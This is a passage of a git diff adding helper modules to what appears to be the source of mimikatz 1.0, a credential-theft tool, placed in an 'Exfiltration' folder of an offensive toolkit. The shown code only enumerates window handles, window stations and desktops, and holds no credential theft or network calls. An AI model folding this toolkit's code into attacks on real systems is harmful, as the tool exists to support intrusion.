\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_windows.h b/Exfiltration/mimikatz-1.0/modules/mod_windows.h new file mode 100644 index 0000000..c5f9887 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_windows.h @@ -0,0 +1,22 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" + +class mod_windows +{ +public: + typedef struct _KIWI_HWND_ENTRY + { + HWND monHandle; + DWORD pid; + DWORD threadId; + } KIWI_HWND_ENTRY, *PKIWI_HWND_ENTRY; + + static bool getHWNDsFromProcessId(vector<mod_windows::KIWI_HWND_ENTRY> * mesHWNDS, DWORD processId = 0); +private: + static BOOL WINAPI enumHWNDCallback(HWND hwnd, pair<DWORD, vector<mod_windows::KIWI_HWND_ENTRY> *> * mesHWNDS); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp new file mode 100644 index 0000000..57b209e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp @@ -0,0 +1,29 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_winsta_desktop.h" + +BOOL CALLBACK mod_winsta_desktop::EnumWindowStationProc(_In_ LPTSTR lpszWindowStation, _In_ LPARAM lParam) +{ + reinterpret_cast<vector<wstring> *>(lParam)->push_back(reinterpret_cast<const wchar_t *>(lpszWindowStation)); + return TRUE; +} + +BOOL CALLBACK mod_winsta_desktop::EnumDesktopProc(_In_ LPTSTR lpszDesktop, _In_ LPARAM lParam) +{ + reinterpret_cast<vector<wstring> *>(lParam)->push_back(reinterpret_cast<const wchar_t *>(lpszDesktop)); + return TRUE; +} + + +bool mod_winsta_desktop::getWinstas(vector<wstring> * mesWinstas) +{ + return (EnumWindowStations(EnumWindowStationProc, reinterpret_cast<LPARAM>(mesWinstas)) != 0); +} + +bool mod_winsta_desktop::getDesktops(vector<wstring> * mesDesktop) +{ + return (EnumDesktops(NULL, EnumDesktopProc, reinterpret_cast<LPARAM>(mesDesktop)) != 0); +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h new file mode 100644 index 0000000..34b9a94 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h @@ -0,0 +1,18 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" + +class mod_winsta_desktop +{ +private: + static BOOL CALLBACK EnumWindowStationProc(_In_ LPTSTR lpszWindowStation, _In_ LPARAM lParam); + static BOOL CALLBACK EnumDesktopProc(_In_ LPTSTR lpszDesktop, _In_ LPARAM lParam); + +public: + static bool getWinstas(vector<wstring> * mesWinstas); + static bool getDesktops(vector<wstring> * mesDesktop); // ! +}; |